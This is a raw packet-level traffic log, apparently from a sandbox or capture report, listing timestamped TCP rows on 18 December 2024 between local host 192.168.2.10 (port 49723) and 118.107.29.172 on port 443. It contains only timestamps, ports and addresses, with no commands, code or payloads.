Dec 18, 2024 13:21:27.402532101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.402542114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.402565002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.402580976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.408442020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.408487082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.408528090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.408538103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.408564091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.408576012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.495074987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.495100975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.495219946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.495249033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.495531082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.737696886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.737720966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.737828970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.737854004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.737879992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.737893105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.857911110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.857935905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.858033895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.858047009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.858082056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.858186960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.858201981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.858228922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.858234882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.858263016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.858277082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.859667063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.859687090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.859713078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.859719038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.859745026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.859759092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.859993935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860008001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860037088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.860042095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860066891 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.860083103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.860728979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860743999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860774040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.860779047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.860801935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.860816956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.861558914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.861576080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.861605883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.861610889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.861634970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.861651897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.863054037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863069057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863099098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.863106012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863143921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.863826990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863842010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863873959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.863878965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.863893032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.863908052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.865467072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.865497112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.865523100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.865529060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.865552902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.865569115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.866337061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.866353035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.866381884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.866386890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.866409063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.866424084 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.867264032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.867279053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.867321014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.867326975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.868006945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.868029118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.868057013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.868062973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.868076086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.868100882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869012117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869026899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869070053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869076014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869086981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869101048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869790077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869807959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869832993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869839907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.869859934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.869874001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.879851103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.879874945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.879981995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.879990101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.882414103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.900453091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.900473118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.900540113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.900547981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.900557995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.900573969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.978280067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.978301048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.978419065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.978449106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.980928898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.984258890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.984277964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.984354019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.984369993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.986402035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.990070105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.990101099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.990138054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.990147114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.990173101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.990181923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.995390892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.995450974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.995512009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.995528936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:27.995575905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:27.995599985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.001128912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.001172066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.001226902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.001251936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.001277924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.002439022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.006792068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.006872892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.006890059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.006906033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.006937027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.006957054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.081537962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.081573009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.081686020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.081717014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.081758976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.092636108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.092678070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.092751026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.092780113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.092816114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.092823982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.129395008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.129422903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.129520893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.129522085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.129592896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.129645109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.134634972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.134654045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.134737968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.134785891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.134841919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.159460068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.159485102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.159589052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.159660101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.159720898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.165183067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.165210962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.165258884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.165270090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.165282011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.165307045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.170413971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.170454025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.170516968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.170531034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.170552015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.170569897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.176054001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.176090956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.176120043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.176134109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.176155090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.176167965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.273619890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.273649931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.273742914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.273757935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.273797035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.285042048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.285070896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.285123110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.285129070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.285151958 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.285171986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.321568966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.321599960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.321669102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.321680069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.321701050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.321718931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.328231096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.328254938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.328306913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.328314066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.328336954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.328355074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.351517916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.351547003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.351592064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.351617098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.351636887 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.351651907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.358561993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.358587980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.358632088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.358639956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.358653069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.358668089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.363178968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.363204956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.363235950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.363245010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.363297939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.363332033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.369182110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.369211912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.369240046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.369246006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.369268894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.369283915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.467148066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.467178106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.467287064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.467323065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.467367887 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.478063107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.478090048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.478166103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.478174925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.478188038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.478208065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.513570070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.513600111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.513654947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.513679981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.513694048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.513714075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.519407988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.519440889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.519500017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.519507885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.519542933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.544502020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.544537067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.544610977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.544639111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.544732094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.544732094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.549746990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.549773932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.549827099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.549845934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.549876928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.549896002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.555459976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.555486917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.555571079 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.555577040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.555918932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.561399937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.561427116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.561508894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.561522007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.561593056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.658531904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.658585072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.658643961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.658673048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.658695936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.658716917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.669260979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.669286966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.669342995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.669348955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.669389009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.706307888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.706341028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.706402063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.706409931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.706434965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.706453085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.711535931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.711574078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.711637020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.711642027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.711661100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.711673975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.736748934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.736799955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.736848116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.736855984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.736876965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.736892939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.741997957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.742027044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.742068052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.742073059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.742099047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.742116928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.747869015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.747896910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.747940063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.747945070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.747988939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.753654003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.753685951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.753741980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.753746986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.753781080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.851248026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.851356030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.851376057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.851454973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.851507902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.851507902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.862062931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.862107992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.862139940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.862166882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.862190008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.862205029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.898188114 CET	443	49723	118.107.29.172	192.168.2.10
